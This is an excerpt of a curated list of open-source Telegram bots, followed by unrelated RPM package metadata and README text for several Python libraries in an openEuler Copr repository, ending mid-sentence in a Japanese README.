  * [VigoBusTelegramBot](https://t.me/vigobusbot) ([GitHub](https://github.com/Pythoneiro/VigoBus-TelegramBot)) - Bot that provides buses coming to a certain stop and their remaining time for the city of Vigo (Galicia - Spain)
  * [kaishnik-bot](https://t.me/kaishnik_bot) ([source](https://github.com/airatk/kaishnik-bot)) by *airatk* - bot which shows all the necessary information to KNTRU-KAI students.
  * [Robbie](https://t.me/romdeliverybot) ([source](https://github.com/FacuM/romdeliverybot_support)) by @FacuM - Support Telegram bot for developers and maintainers.
  * [AsadovBot](https://t.me/asadov_bot) ([source](https://github.com/desexcile/BotApi)) by @DesExcile - Сatalog of poems by Eduard Asadov.
  * [thesaurus_com_bot](https://t.me/thesaurus_com_bot) ([source](https://github.com/LeoSvalov/words-i-learn-bot)) by @LeoSvalov - words and synonyms from [dictionary.com](https://www.dictionary.com) and [thesaurus.com](https://www.thesaurus.com) in the telegram.
  * [InfoBot](https://t.me/info2019_bot) ([source](https://github.com/irevenko/info-bot)) by @irevenko - An all-round bot that displays some statistics (weather, time, crypto etc...)
  * [FoodBot](https://t.me/ChensonUz_bot) ([source](https://github.com/Fliego/old_restaurant_telegram_chatbot)) by @Fliego - a simple bot for food ordering
  * [Sporty](https://t.me/SportydBot) ([source](https://github.com/0xnu/sporty)) by @0xnu - Telegram bot for displaying the latest news, sports schedules and injury updates.
  * [JoinGroup Silencer Bot](https://t.me/joingroup_silencer_bot) ([source](https://github.com/zeph1997/Telegram-Group-Silencer-Bot)) by [@zeph1997](https://github.com/zeph1997) - A Telegram Bot to remove "join group" and "removed from group" notifications.
  * [TasksListsBot](https://t.me/TasksListsBot) ([source](https://github.com/Pablo-Davila/TasksListsBot)) by [@Pablo-Davila](https://github.com/Pablo-Davila) - A (tasks) lists manager bot for Telegram.
  * [MyElizaPsychologistBot](https://t.me/TasksListsBot) ([source](https://github.com/Pablo-Davila/MyElizaPsychologistBot)) by [@Pablo-Davila](https://github.com/Pablo-Davila) - An implementation of the famous Eliza psychologist chatbot.
  * [Frcstbot](https://t.me/frcstbot) ([source](https://github.com/Mrsqd/frcstbot_public)) by [Mrsqd](https://github.com/Mrsqd). A Telegram bot that will always be happy to show you the weather forecast.
  * [MineGramBot](https://github.com/ModischFabrications/MineGramBot) by [ModischFabrications](https://github.com/ModischFabrications). This bot can start, stop and monitor a minecraft server.
  * [Tabletop DiceBot](https://github.com/dexpiper/tabletopdicebot) by [dexpiper](https://github.com/dexpiper). This bot can roll multiple dices for RPG-like games, add positive and negative modifiers and show short descriptions to the rolls.
  * [BarnameKon](https://t.me/BarnameKonBot) by [Anvaari](https://github.com/anvaari). This Bot make "Add to google calendar" link for your events. It give information about event and return link. It work for Jalali calendar and in Tehran Time. [Source code](https://github.com/anvaari/BarnameKon)
  * [Translator bot](https://github.com/AREEG94FAHAD/translate_text_bot) by Areeg Fahad. This bot can be used to translate texts.
  * [Digital Cryptocurrency bot](https://github.com/AREEG94FAHAD/currencies_bot) by Areeg Fahad. With this bot, you can now monitor the prices of more than 12 digital Cryptocurrency.
  * [Anti-Tracking Bot](https://t.me/AntiTrackingBot) by Leon Heess [(source)](https://github.com/leonheess/AntiTrackingBot). Send any link, and the bot tries its best to remove all tracking from the link you sent.
  * [Developer Bot](https://t.me/IndDeveloper_bot) by [Vishal Singh](https://github.com/vishal2376) [(source code)](https://github.com/vishal2376/telegram-bot) This telegram bot can do tasks like GitHub search & clone,provide c++ learning resources ,Stackoverflow search, Codeforces(profile visualizer,random problems)
  * [oneIPO bot](https://github.com/aaditya2200/IPO-proj) by [Aadithya](https://github.com/aaditya2200) & [Amol Soans](https://github.com/AmolDerickSoans) This Telegram bot provides live updates , data and documents on current and upcoming IPOs(Initial Public Offerings)
  * [CoronaGraphsBot](https://t.me/CovidGraph_bot) ([source](https://github.com/TrevorWinstral/CoronaGraphsBot)) by *TrevorWinstral* - Gets live COVID Country data, plots it, and briefs the user
  * [ETHLectureBot](https://t.me/ETHLectureBot) ([source](https://github.com/TrevorWinstral/ETHLectureBot)) by *TrevorWinstral* - Notifies ETH students when their lectures have been uploaded
  * [Vlun Finder Bot](https://github.com/resinprotein2333/Vlun-Finder-bot) by [Resinprotein2333](https://github.com/resinprotein2333). This bot can help you to find The information of CVE vulnerabilities.
  * [ETHGasFeeTrackerBot](https://t.me/ETHGasFeeTrackerBot) ([Source](https://github.com/DevAdvik/ETHGasFeeTrackerBot]) by *DevAdvik* - Get Live Ethereum Gas Fees in GWEI
  * [Google Sheet Bot](https://github.com/JoachimStanislaus/Tele_Sheet_bot) by [JoachimStanislaus](https://github.com/JoachimStanislaus). This bot can help you to track your expenses by uploading your bot entries to your google sheet.
  * [GrandQuiz Bot](https://github.com/Carlosma7/TFM-GrandQuiz) by [Carlosma7](https://github.com/Carlosma7). This bot is a trivia game that allows you to play with people from different ages. This project addresses the use of a system through chatbots to carry out a social and intergenerational game as an alternative to traditional game development.
  * [Diccionario de la RAE](https://t.me/dleraebot) ([source](https://github.com/studentenherz/dleraebot)) This bot lets you find difinitions of words in Spanish using [RAE's dictionary](https://dle.rae.es/). It features direct message and inline search.
  * [remoteTelegramShell](https://github.com/EnriqueMoran/remoteTelegramShell) by [EnriqueMoran](https://github.com/EnriqueMoran). Control your LinuxOS computer through Telegram.
  * [Commerce Telegram Bot](https://github.com/ayitinya/commerce-telegram-bot/). Make purchases of items in a store with an Admin panel for data control and notifications.
  * [Pyfram-telegram-bot](https://github.com/skelly37/pyfram-telegram-bot) Query wolframalpha.com and make use of its API through Telegram.
  * [TranslateThisVideoBot](https://gitlab.com/WuerfelDev/translatethisvideo) This Bot can understand spoken text in videos and translate it to English
  * [Zyprexa](https://t.me/mathemathicsBot) ([source](https://github.com/atif5/zyprexa)) Zyprexa can solve, help you solve any mathematical problem you encounter and convert your regular mathematical expressions into beautiful imagery using LaTeX.
  * [Bincode-telegram-bot](https://github.com/tusharhero/bincode-telegram-bot) by [tusharhero](https://github.com/tusharhero) - Makes [bincodes](https://github.com/tusharhero/bincode) from text provides and also converts them back to text.
  * [hydrolib_bot](https://github.com/Mayson90/hydrolib_bot) Toolset for Hydrophilia tabletop game (game cards, rules, structure...).
  * [Gugumoe-bot](http://t.me/gugumoe_bot) ([source](https://github.com/GooGuJiang/Gugumoe-bot)) by [咕谷酱](https://gmoe.cc) GuXiaoJiang is a multi-functional robot, such as OSU game information query, IP test, animation screenshot search and other functions.
  * [Feedback-bot](https://github.com/coder2020official/feedbackbot) A feedback bot for user-admin communication. Made on AsyncTeleBot, using [template](https://github.com/coder2020official/asynctelebot_template).
  * [TeleServ](https://github.com/ablakely/TeleServ) by [ablakely](https://github.com/ablakely) This is a Telegram to IRC bridge which links as an IRC server and makes Telegram users appear as native IRC users.
  * [Simple Store Bot](https://github.com/AntonGlyzin/myshopbot) by [Anton Glyzin](https://github.com/AntonGlyzin) This is a simple telegram-store with an admin panel. Designed according to a template.
  * [Media Rating Bot](https://t.me/mediaratingbot) ([source](https://github.com/CommanderCRM/MediaRatingBot))by [CommanderCRM](https://github.com/CommanderCRM). This bot aggregates media (movies, TV series, etc.) ratings from IMDb, Rotten Tomatoes, Metacritic, TheMovieDB, FilmAffinity and also provides number of votes of said media on IMDb.

  **Want to have your bot listed here? Just make a pull request. Only bots with public source code are accepted.**


pkgId: 370e83b11cc6ca2c95f80b073d7f8a3fcbf62e8b5453ec39da26beeb4c7d8b18
name: python-pyTenable
arch: src
version: 1.4.12
epoch: 0
release: 1
summary: Python library to interface into Tenable's products and applications
url: https://github.com/tenable/pytenable
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7d029264-8fec-41cc-9798-3ed9ee4d12a4
location_href: 00004824-python-pytenable/python-pyTenable-1.4.12-1.src.rpm
checksum_type: sha256
description:
  pyTenable is intended to be a pythonic interface into the Tenable application
  APIs.  Further by providing a common interface and a common structure between
  all of the various applications, we can ease the transition from the vastly
  different APIs between some of the products.
  - Issue Tracker: https://github.com/tenable/pyTenable/issues
  - Github Repository: https://github.com/tenable/pyTenable


pkgId: 8c116d3d26b2f917a99904778e0cace9bf4691f4a24a2ba2b71736fa12dfbc70
name: python-pyaes
arch: src
version: 1.6.1
epoch: 0
release: 1
summary: Pure-Python Implementation of the AES block-cipher and common modes of operation
url: https://github.com/ricmoo/pyaes
rpm_license: License :: OSI Approved :: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c71a372a-5a50-4827-974c-bd0eccaaa969
location_href: 00004632-python-pyaes/python-pyaes-1.6.1-1.src.rpm
checksum_type: sha256
description:
  A pure-Python implementation of the AES (FIPS-197)
  block-cipher algorithm and common modes of operation (CBC, CFB, CTR, ECB,
  OFB) with no dependencies beyond standard Python libraries. See README.md
  for API reference and details.


pkgId: d0a8635d48bed6ecb8854f9a9e46371e2360174ca70ce3f681635a60692e2226
name: python-pyahocorasick
arch: src
version: 2.0.0
epoch: 0
release: 1
url: http://github.com/WojciechMula/pyahocorasick
rpm_license: BSD-3-Clause and Public-Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-63f56b2a-b975-4f8a-a9e8-c273a037eeb5
location_href: 00010308-python-pyahocorasick/python-pyahocorasick-2.0.0-1.src.rpm
checksum_type: sha256
summary:
  pyahocorasick is a fast and memory efficient library for exact or approximate multi-pattern string search.  With the ``ahocorasick.Automaton`` class, you can find multiple key string occurrences at once in some input text.  You can use it as a plain dict-like Trie or convert a Trie to an automaton for efficient Aho-Corasick search. And pickle to disk for easy reuse of large automatons. Implemented in C and tested on Python 3.6+. Works on Linux, macOS and Windows. BSD-3-Cause license.


pkgId: 3b498c5f83f0f5212ae6dee680eabd98a076f3e95d22010eaed30a4ca7531266
name: python-pyahocorasick-debuginfo
arch: aarch64
version: 2.0.0
epoch: 0
release: 1
summary: Debug information for package python-pyahocorasick
url: http://github.com/WojciechMula/pyahocorasick
rpm_license: BSD-3-Clause and Public-Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-63f56b2a-b975-4f8a-a9e8-c273a037eeb5
rpm_sourcerpm: python-pyahocorasick-2.0.0-1.src.rpm
location_href: 00010308-python-pyahocorasick/python-pyahocorasick-debuginfo-2.0.0-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pyahocorasick.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: 825991a05e055c25c28da4621683d9d8e7bdf6f0962cdaa6a986c3ba825674a1
name: python-pyahocorasick-debugsource
arch: aarch64
version: 2.0.0
epoch: 0
release: 1
summary: Debug sources for package python-pyahocorasick
url: http://github.com/WojciechMula/pyahocorasick
rpm_license: BSD-3-Clause and Public-Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-63f56b2a-b975-4f8a-a9e8-c273a037eeb5
rpm_sourcerpm: python-pyahocorasick-2.0.0-1.src.rpm
location_href: 00010308-python-pyahocorasick/python-pyahocorasick-debugsource-2.0.0-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pyahocorasick.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: 09e9aecae64d7a5bdc58eef764a3cbdf571d58d0b291d436e6b63c6386346f63
name: python-pyairnow
arch: src
version: 1.2.1
epoch: 0
release: 1
summary: A lightweight Python wrapper for EPA AirNow Air Quality API
url: https://github.com/asymworks/pyairnow
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-9c6d2703-63ef-4b88-bcfc-f59684f620f1
location_href: 00004634-python-pyairnow/python-pyairnow-1.2.1-1.src.rpm
checksum_type: sha256
description:
  [![CI](https://github.com/asymworks/pyairnow/workflows/CI/badge.svg)](https://github.com/asymworks/pyairnow/actions)
  [![PyPi](https://img.shields.io/pypi/v/pyairnow.svg)](https://pypi.python.org/pypi/pyairnow)
  [![Version](https://img.shields.io/pypi/pyversions/pyairnow.svg)](https://pypi.python.org/pypi/pyairnow)
  [![License](https://img.shields.io/pypi/l/pyairnow.svg)](https://github.com/asymworks/pyairnow/blob/master/LICENSE)
  [![Code Coverage](https://codecov.io/gh/asymworks/pyairnow/branch/master/graph/badge.svg)](https://codecov.io/gh/asymworks/pyairnow)

  `pyairnow` is a simple, tested, thin client library for interacting with the
  [AirNow](https://www.airnow.gov) United States EPA Air Quality Index API.

  - [Python Versions](#python-versions)
  - [Installation](#installation)
  - [API Key](#api-key)
  - [Usage](#usage)
  - [Contributing](#contributing)



  `pyairnow` is currently supported and tested on:

  * Python 3.8
  * Python 3.9
  * Python 3.10
  * Python 3.11



  ```python
  pip install pyairnow
  ```



  You can get an AirNow API key from
  [the AirNow API site](https://docs.airnowapi.org/account/request/). Ensure you
  read and understand the expectations and limitations of API usage, which can
  be found at [the AirNow FAQ](https://docs.airnowapi.org/faq).



  ```python
  import asyncio
  import datetime

  from pyairnow import WebServiceAPI


  async def main() -> None:
    client = WebServiceAPI('your-api-key')

    
    data = await client.observations.zipCode(
      '90001',
      
      
      distance=50,
    )

    
    data = await client.observations.latLong(
      34.053718, -118.244842,
      
      
      distance=50,
    )

    
    data = await client.forecast.zipCode(
      '90001',
      
      
      date='2020-09-01',
      
      
      distance=50,
    )

    
    data = await client.forecast.latLong(
      
      '34.053718', '-118.244842',
      
      date=datetime.date(2020, 9, 1),
      
      
      distance=50,
    )


  asyncio.run(main())
  ```

  By default, the library creates a new connection to AirNow with each coroutine.
  If you are calling a large number of coroutines (or merely want to squeeze out
  every second of runtime savings possible), an
  [`aiohttp`](https://github.com/aio-libs/aiohttp) `ClientSession` can be used
  for connection pooling:

  ```python
  import asyncio
  import datetime

  from aiohttp import ClientSession

  from pyairnow import WebServiceAPI


  async def main() -> None:
      async with ClientSession() as session:
          client = WebServiceAPI('your-api-key', session=session)

          


  asyncio.run(main())
  ```

  The library provides two convenience functions to convert between AQI and
  pollutant concentrations. See
  [this EPA document](https://www.airnow.gov/sites/default/files/2020-05/aqi-technical-assistance-document-sept2018.pdf)
  for more details.

  ```python

  from pyairnow.conv import aqi_to_concentration, concentration_to_aqi











  aqi_to_concentration(144, 'PM2.5')


  concentration_to_aqi(53.0, 'PM2.5')

  ```



  1. [Check for open features/bugs](https://github.com/asymworks/pyairnow/issues)
    or [start a discussion on one](https://github.com/asymworks/pyairnow/issues/new).
  2. [Fork the repository](https://github.com/asymworks/pyairnow/fork).
  3. Install [Poetry](https://python-poetry.org/) and set up the development workspace:
    `poetry install`
  4. Code your new feature or bug fix.
  5. Write tests that cover your new functionality.
  6. Run tests and ensure 100% code coverage: `make test`
  7. Run the linter to ensure 100% code style correctness: `make lint`
  8. Update `README.md` with any new documentation.
  9. Add yourself to `AUTHORS.md`.
  10. Submit a pull request!


pkgId: 40b922326d6d4f3cca6fca3519084aaf231604dacf911c6ef1f97319c9091466
name: python-pyairvisual
arch: src
version: 2022.12.1
epoch: 0
release: 1
summary: A simple API for AirVisual air quality data
url: https://github.com/bachya/pyairvisual
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4433e7df-1eff-47bf-ac44-23af2b948f0f
location_href: 00004635-python-pyairvisual/python-pyairvisual-2022.12.1-1.src.rpm
checksum_type: sha256
description:
  [![CI][ci-badge]][ci]
  [![PyPI][pypi-badge]][pypi]
  [![Version][version-badge]][version]
  [![License][license-badge]][license]
  [![Code Coverage][codecov-badge]][codecov]
  [![Maintainability][maintainability-badge]][maintainability]

  <a href="https://www.buymeacoffee.com/bachya1208P" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/default-orange.png" alt="Buy Me A Coffee" height="41" width="174"></a>

  `pyairvisual` is a simple, clean, well-tested library for interacting with
  [AirVisual][airvisual] to retrieve air quality information.

  - [Python Versions](#python-versions)
  - [Installation](#installation)
  - [API Key](#api-key)
    - [Community](#community)
    - [Startup](#startup)
    - [Enterprise](#enterprise)
  - [Usage](#usage)
    - [Using the Cloud API](#using-the-cloud-api)
    - [Working with Node/Pro Units](#working-with-node-pro-units)
  - [Contributing](#contributing)



  `pyairvisual` is currently supported on:

  - Python 3.9
  - Python 3.10
  - Python 3.11



  ```bash
  pip install pyairvisual
  ```



  You can get an AirVisual API key from [the AirVisual API site][airvisual-api].
  Depending on the plan you choose, more functionality will be available from the API:



  The Community Plan gives access to:

  - List supported countries
  - List supported states
  - List supported cities
  - Get data from the nearest city based on IP address
  - Get data from the nearest city based on latitude/longitude
  - Get data from a specific city



  The Startup Plan gives access to:

  - List supported stations in a city
  - Get data from the nearest station based on IP address
  - Get data from the nearest station based on latitude/longitude
  - Get data from a specific station



  The Enterprise Plan gives access to:

  - Get a global city ranking of air quality





  ```python
  import asyncio

  from pyairvisual.cloud_api import CloudAPI


  async def main() -> None:
      """Run!"""
      cloud_api = CloudAPI("<YOUR_AIRVISUAL_API_KEY>")

      
      data = await cloud_api.air_quality.nearest_city()

      
      data = await cloud_api.air_quality.nearest_city(
          latitude=39.742599, longitude=-104.9942557
      )

      
      data = await cloud_api.air_quality.city(
          city="Los Angeles", state="California", country="USA"
      )

      
      
      data = await cloud_api.air_quality.nearest_station()
      data = await cloud_api.air_quality.nearest_station(
          latitude=39.742599, longitude=-104.9942557
      )
      data = await cloud_api.air_quality.station(
          station="US Embassy in Beijing",
          city="Beijing",
          state="Beijing",
          country="China",
      )

      
      data = await cloud_api.air_quality.ranking()

      
      countries = await cloud_api.supported.countries()
      states = await cloud_api.supported.states("USA")
      cities = await cloud_api.supported.cities("USA", "Colorado")
      stations = await cloud_api.supported.stations("USA", "Colorado", "Denver")


  asyncio.run(main())
  ```

  By default, the library creates a new connection to AirVisual with each coroutine. If
  you are calling a large number of coroutines (or merely want to squeeze out every second
  of runtime savings possible), an [`aiohttp`][aiohttp] `ClientSession` can be used for
  connection pooling:

  ```python
  import asyncio

  from aiohttp import ClientSession

  from pyairvisual.cloud_api import CloudAPI


  async def main() -> None:
      """Run!"""
      async with ClientSession() as session:
          cloud_api = CloudAPI("<YOUR_AIRVISUAL_API_KEY>", session=session)

          


  asyncio.run(main())
  ```



  `pyairvisual` also allows users to interact with [Node/Pro units][airvisual-pro], both via
  the cloud API:

  ```python
  import asyncio

  from aiohttp import ClientSession

  from pyairvisual.cloud_api import CloudAPI


  async def main() -> None:
      """Run!"""
      cloud_api = CloudAPI("<YOUR_AIRVISUAL_API_KEY>")

      
      
      data = await cloud_api.node.get_by_node_id("<NODE_ID>")


  asyncio.run(main())
  ```

  ...or over the local network via Samba (the unit password can be found
  [on the device itself][airvisual-samba-instructions]):

  ```python
  import asyncio

  from aiohttp import ClientSession

  from pyairvisual.node import NodeSamba


  async def main() -> None:
      """Run!"""
      async with NodeSamba("<IP_ADDRESS_OR_HOST>", "<PASSWORD>") as node:
          measurements = await node.async_get_latest_measurements()

          
          
          
          
          history = await node.async_get_history()


  asyncio.run(main())
  ```

  Check out the examples, the tests, and the source files themselves for method
  signatures and more examples.



  Thanks to all of [our contributors][contributors] so far!

  1. [Check for open features/bugs][issues] or [initiate a discussion on one][new-issue].
  2. [Fork the repository][fork].
  3. (_optional, but highly recommended_) Create a virtual environment: `python3 -m venv .venv`
  4. (_optional, but highly recommended_) Enter the virtual environment: `source ./.venv/bin/activate`
  5. Install the dev environment: `script/setup`
  6. Code your new feature or bug fix on a new branch.
  7. Write tests that cover your new functionality.
  8. Run tests and ensure 100% code coverage: `poetry run pytest --cov pyairvisual tests`
  9. Update `README.md` with any new documentation.
  10. Submit a pull request!

  [aiohttp]: https://github.com/aio-libs/aiohttp
  [airvisual]: https://www.airvisual.com/
  [airvisual-api]: https://www.airvisual.com/user/api
  [airvisual-pro]: https://www.airvisual.com/air-quality-monitor
  [airvisual-samba-instructions]: https://support.airvisual.com/en/articles/3029331-download-the-airvisual-node-pro-s-data-using-samba
  [ci-badge]: https://github.com/bachya/pyairvisual/workflows/CI/badge.svg
  [ci]: https://github.com/bachya/pyairvisual/actions
  [codecov-badge]: https://codecov.io/gh/bachya/pyairvisual/branch/dev/graph/badge.svg
  [codecov]: https://codecov.io/gh/bachya/pyairvisual
  [contributors]: https://github.com/bachya/pyairvisual/graphs/contributors
  [fork]: https://github.com/bachya/pyairvisual/fork
  [issues]: https://github.com/bachya/pyairvisual/issues
  [license-badge]: https://img.shields.io/pypi/l/pyairvisual.svg
  [license]: https://github.com/bachya/pyairvisual/blob/main/LICENSE
  [maintainability-badge]: https://api.codeclimate.com/v1/badges/a03c9e96f19a3dc37f98/maintainability
  [maintainability]: https://codeclimate.com/github/bachya/pyairvisual/maintainability
  [new-issue]: https://github.com/bachya/pyairvisual/issues/new
  [new-issue]: https://github.com/bachya/pyairvisual/issues/new
  [pypi-badge]: https://img.shields.io/pypi/v/pyairvisual.svg
  [pypi]: https://pypi.python.org/pypi/pyairvisual
  [version-badge]: https://img.shields.io/pypi/pyversions/pyairvisual.svg
  [version]: https://pypi.python.org/pypi/pyairvisual


pkgId: 34cfc4833a6f12560650295ecdc166bc1893adc0bda9c7b00b9caa66c95c5c3d
name: python-pyaml
arch: src
version: 21.10.1
epoch: 0
release: 1
summary: PyYAML-based module to produce pretty and readable YAML-serialized data
url: https://github.com/mk-fg/pretty-yaml
rpm_license: WTFPL
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-75686b84-c178-4091-921b-1f17efb934f4
location_href: 00009475-python-pyaml/python-pyaml-21.10.1-1.src.rpm
checksum_type: sha256
description:
  PyYAML-based python module to produce pretty and readable YAML-serialized data.
  This module is for serialization only, see `ruamel.yaml`_ module for literate
  YAML parsing (keeping track of comments, spacing, line/column numbers of values, etc).
  [note: to dump stuff parsed by ruamel.yaml with this module, use only ``YAML(typ='safe')`` there]


pkgId: 6d54a4999e937786691f01beb2e068bf43fdaa2837563d67a0184dbfd499f513
name: python-pyangbind
arch: src
version: 0.8.1
epoch: 0
release: 1
url: https://github.com/robshakir/pyangbind
rpm_license: Apache
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0f18a0b5-9f0e-4adc-9c7a-46ae5273b228
location_href: 00012056-python-pyangbind/python-pyangbind-0.8.1-1.src.rpm
checksum_type: sha256
summary:
  PyangBind is a plugin for pyang which converts YANG datamodels into a Python class hierarchy, such that Python can be used to manipulate data that conforms with a YANG model.

description:
  PyangBind is a plugin for pyang which converts YANG data models into a Python class hierarchy, such that Python can be used to manipulate data that conforms with a YANG model.
  This module provides the supporting classes and functions that PyangBind modules utilise, particularly:
  * pyangbind.base.PybindBase - which is the parent class inherited by all container or module YANG objects.
  * pyangbind.pybindJSON - which containers wrapper functions which can be used to help with serialisation of YANG to JSON.
  * pyangbind.serialise.pybindJSONEncoder - a class that can be used as a custom encoder for the JSON module to serialise PyangBind class hierarchies to JSON.
  * pyangbind.serialise.pybindJSONDecoder - a class that can be used as a custom decoder to load JSON-encoded instances of YANG models into a PyangBind class hierarchy.
  * pyangbind.xpathhelper.YANGPathHelper - a class which can have objects registered against it, and subsequently retrieved from it using XPATH expressions. This module also includes parent classes that can be used to implement other helper modules of this nature.
  * pyangbind.yangtypes: The various functions which generate python types that are used to represent YANG types, and some helper methods.
    - pyangbind.yangtypes.is_yang_list and is_yang_leaflist are self explainatory, but may be useful.
    - pyangbind.yangtypes.safe_name is used throughout PyangBind to determine how to map YANG element names into Python attribute names safely.
    - pyangbind.yangtypes.RestrictedPrecisionDecimalType - generates wrapped Decimal types that has a restricted set of decimal digits - i.e., can deal with fraction-digits arguments in YANG.
    - pyangbind.yangtypes.RestrictedClassType - generates types which wrap a 'base' type (e.g., integer) with particular restrictions. The restrictions are supplied as a dictionary, or with specific arguments if single restrictions are required. Currently, the restrictions supported are regexp matches, ranges, lengths, and restrictions to a set of values (provided as keys to a dict).
    - pyangbind.yangtypes.TypedListType - generates types which wrap a list to restrict the objects that it may contain.
    - pyangbind.yangtypes.YANGListType - generates types which wrap a class representing a container, such that it acts as a YANG list.
    - pyangbind.yangtypes.YANGBool - a boolean class.
    - pyangbind.yangtypes.YANGDynClass - generates types which consist of a wrapper (YANGDynClass) and a wrapped object which may be any other class. YANGDynClass is a meta-class that provides additional data on top of the attributes and functions of the wrapped class.
    - pyangbind.yangtypes.ReferenceType - generates types which can use a pyangbind.xpathhelper.PybindXpathHelper instance to look up values - particularly to support leafrefs in YANG.
  Usage documentation for PyangBind itself can be found on GitHub: https://github.com/robshakir/pyangbind


pkgId: 29d395a14f255a2a00e1b0cd5cf97d6a59f388118581a1fa5a35bcb9bd549b92
name: python-pyapacheatlas
arch: src
version: 0.15.0
epoch: 0
release: 1
summary: A package to simplify working with the Apache Atlas REST APIs for Atlas and Azure Purview.
url: https://github.com/wjohnson/pyapacheatlas
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-46721dfe-8f61-4d9c-bb1d-7ecc6089e43b
location_href: 00013534-python-pyapacheatlas/python-pyapacheatlas-0.15.0-1.src.rpm
checksum_type: sha256
description:
  PyApacheAtlas lets you work with the Azure Purview and Apache Atlas APIs in a Pythonic way. Supporting bulk loading, custom lineage, custom type definition and more from an SDK and Excel templates / integration.

  The package supports programmatic interaction and an Excel template for low-code uploads.



  * Bulk upload entities.
    * Upload entities / assets for built-in or custom types.
    * Supports adding glossary terms to entities.
    * Supports adding classifications to entities.
    * Supports creating relationships between entities (e.g. columns of a table).
  * Creating custom lineage between existing entities.
  * Defining Purview Column Mappings / Column Lineage.
  * Bulk upload custom type definitions.
  * Bulk upload of classification definitions (Purview Classification Rules not supported).



  The PyApacheAtlas package itself supports those operations and more for the advanced user:
  * Programmatically create Entities, Types (Entity, Relationship, etc.).
  * Perform partial updates of an entity (for non-complex attributes like strings or integers).
  * Extracting entities by guid or qualified name.
  * Creating custom lineage with Process and Entity types.
  * Working with the glossary.
    * Uploading terms.
    * Downloading individual or all terms.
  * Working with classifications.
    * Classify one entity with multiple classifications.
    * Classify multiple entities with a single classification.
    * Remove classification ("declassify") from an entity.
  * Working with relationships.
    * Able to create arbitrary relationships between entities.
    * e.g. associating a given column with a table.
  * Deleting types (by name) or entities (by guid).
  * Performing "What-If" analysis to check if...
     * Your entities are valid types.
     * Your entities are missing required attributes.
     * Your entities are using undefined attributes.
  * Azure Purview's Search: query, autocomplete, suggest, browse.
  * Authentication to Azure Purview using azure-identity and Service Principal
  * Authentication to Apache Atlas using basic authentication of username and password.


pkgId: 707ad2489886a1f29bd3d4095a923d8f1183e23b972c64b7dc7067582179af8b
name: python-pyarlo
arch: src
version: 0.2.4
epoch: 0
release: 1
url: https://github.com/tchellomello/python-arlo
rpm_license: LGPLv3+
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-61bf3aee-248c-4406-843c-eb294d356d9e
location_href: 00004636-python-pyarlo/python-pyarlo-0.2.4-1.src.rpm
checksum_type: sha256
summary:
  Python Arlo is a library written in Python 2.7/3x that exposes the Netgear Arlo cameras as Python objects.

description:
  Python Arlo  is a library written in Python 2.7/3x that exposes the Netgear Arlo cameras as Python objects.
  Developer Documentation: `http://python-arlo.readthedocs.io/ <http://python-arlo.readthedocs.io/>`_


pkgId: d931ec3075fb85d2e6e3c174c641c4801ad57dd88ff8af130625ddbf2bf9e513
name: python-pyasn1-modules
arch: src
version: 0.2.8
epoch: 0
release: 1
summary: A collection of ASN.1-based protocols modules.
url: https://github.com/etingof/pyasn1-modules
rpm_license: BSD-2-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-500425a9-0e3d-41a1-9109-cea67d1c3be2
location_href: 00008921-python-pyasn1-modules/python-pyasn1-modules-0.2.8-1.src.rpm
checksum_type: sha256
description:
  A collection of ASN.1 modules expressed in form of pyasn1 classes. Includes protocols PDUs definition (SNMP, LDAP etc.) and various data structures (X.509, PKCS etc.).


pkgId: cab5615367752b9db97c2b2349645ef6a59cd39b15cc570569dfb606f01f4e2c
name: python-pybacklogpy
arch: src
version: 0.12
epoch: 0
release: 1
summary: A library for backlog api
url: https://kitadakyou.github.io/PyBacklogPy/
rpm_license: Apache License 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fbc46257-6029-42bd-9f4b-fd49fa6c901d
location_href: 00011149-python-pybacklogpy/python-pybacklogpy-0.12-1.src.rpm
checksum_type: sha256
description:
  [![CircleCI](https://circleci.com/gh/kitadakyou/PyBacklogPy/tree/master.svg?style=svg)](https://circleci.com/gh/kitadakyou/PyBacklogPy/tree/master)



  [BacklogAPI](https://developer.nulab.com/ja/docs/backlog/) を Python から簡単に呼べるようにラップしたものです。



  - `Python 3.5` 以上
    - `typing` モジュールを使用しているため
    - 開発およびテスト環境は `Python 3.7.3` を使用



  詳細な仕様については[ドキュメント](https://kitadakyou.github.io/PyBacklogPy/)を参照してください



  pip からインストールします。

  ```bash
  pip install pybacklogpy
  ```



  ドメイン及びシークレットキーを登録するには以下の2種類の方法があります。

  1. プログラム上で指定する
  1. 設定ファイルを置く

  なお、どちらも設定していた場合、 __プログラム上で指定する__ の方が優先されます。



  Backlogのドメイン別に以下3種類のクラスを用意しています。

  - BacklogComConfigure (backlog.com)
  - BacklogJpConfigure (backlog.jp)
  - BacklogToolConfigure (backlogtool.com)

  このクラスのコンストラクタ引数として、スペースID と API のキーを渡すことで設定を行えます。

  例えば、下記のような場合
  - Backlogドメイン: `kitadakyou.backlog.com`
